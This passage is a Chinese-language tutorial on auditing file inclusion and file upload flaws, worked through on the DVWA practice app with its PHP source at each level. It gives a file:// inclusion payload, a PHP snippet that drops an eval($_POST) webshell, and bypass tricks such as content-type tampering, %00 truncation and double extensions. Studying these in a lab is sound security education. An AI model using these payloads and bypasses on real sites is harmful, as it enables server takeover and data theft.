检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,但是我们可以利用file协议绕过防护策略,然后再进行包含
payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini
最后看一下impossiable级别的代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到代码很简洁,page参数只能是"include.php",
"file1.php",
"file2.php",
"file3.php"
否则直接exit。彻底不能文件包含了。
最后的最后再分享个文件包含的渗透小技巧
***读取敏感文件是文件包含漏洞的主要利用方式之一,比如服务器采用Linux系统,而用户又具有相应的权限,那么就可以利用文件包含漏洞去读取/etc/passwd文件的内容。
系统中常见的敏感信息路径如下:windows系统
linux系统
***文件包含漏洞的主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。
<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>
可以成功进行包含,并且得到了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。
文件上传审计
其实个人认为文件上传黑盒测试的时候姿势特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的"刺激"。
文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。
上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行。
(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。
(2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)
(3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES["file"]["type"]的值 就是人为限制content-type为可控变量。
(4)过滤不严或被绕过:比如大小写问题,网站只验证是否是小写,我们就可以把后缀名改成大写。
(5)文件解析漏洞:比如 Windows 系统会涉及到这种情况:文件名为1.php;.jpg
,IIS 6.0 可能会认为它是jpg
文件,但是执行的时候会以php
文件来执行。我们就可以利用这个解析漏洞来上传。再比如 Linux 中有一些未知的后缀,比如a.php.xxx
。由于 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。
(6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。比如a.php%00.jpg
,这样在网站中验证的时候,会认为后缀是jpg
,但是保存到硬盘的时候会被截断为a.php
,这样就是直接的php
文件了。常用来截断路径的字符是:\0 , ? , %00 , 也可以超长的文件路径造成截断。
(4)等等等等,以后慢慢补充
忘了编译器了,编辑器漏洞和文件上传漏洞原理一样,只不过多了一个编辑器。上传的时候还是会把我们的脚本上传上去。不少编译器本身就存在文件上传漏洞,举个栗子:进入网站后台后如果找不到上传的地方或者其他姿势不好使的时候,就可以从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各种编译器利用的相关姿势。网上很多这里就不写了。
先了解一下PHP通过$_FILES
对象来读取文件,以便于下面的理解
PHP中通过$_FILES
对象来读取文件,通过下列几个属性:
-
$_FILES[file]['name']
- 被上传文件的名称。 -
$_FILES[file]['type']
- 被上传文件的类型。 -
$_FILES[file]['size']
- 被上传文件的大小(字节)。 -
$_FILES[file]['tmp_name']
- 被上传文件在服务器保存的路径,通常位于临时目录中。 -
$_FILES[file]['error']
- 错误代码,0为无错误,其它都是有错误。
DVWA分析
选择low级别,先进行黑盒测试一下,直接上传个php一句话:<?php @eval($_POST["orange"]); ?>
看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),
看一下代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
不懂上面的函数什么意思可以百度一下,
basename()函数:basename(path,suffix) , basename() 函数返回路径中的文件名部分。如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc) , move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。
分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,所以可以上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
选择mediem级别,看下代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
可以看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,并且上传文件的大小小于100000(97.6KB)
但是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可
我们可以通过burpsuite抓包修改文件类型,具体如下图所示,通过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)
注:这里也是可以利用%00截断上传,讲下图中的upload.png改成upload.php%00.png就可以突破限制,成功上传。
选择high级别,看下代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
分析:strrpos(string,find,start)
函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
用图片马进行绕过,抓包修改,把"phptupianma.png"改为"phptupianma.php.png"
在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行,这样就可以成功上传。
还有其他漏洞类型的审计,以后会慢慢补充......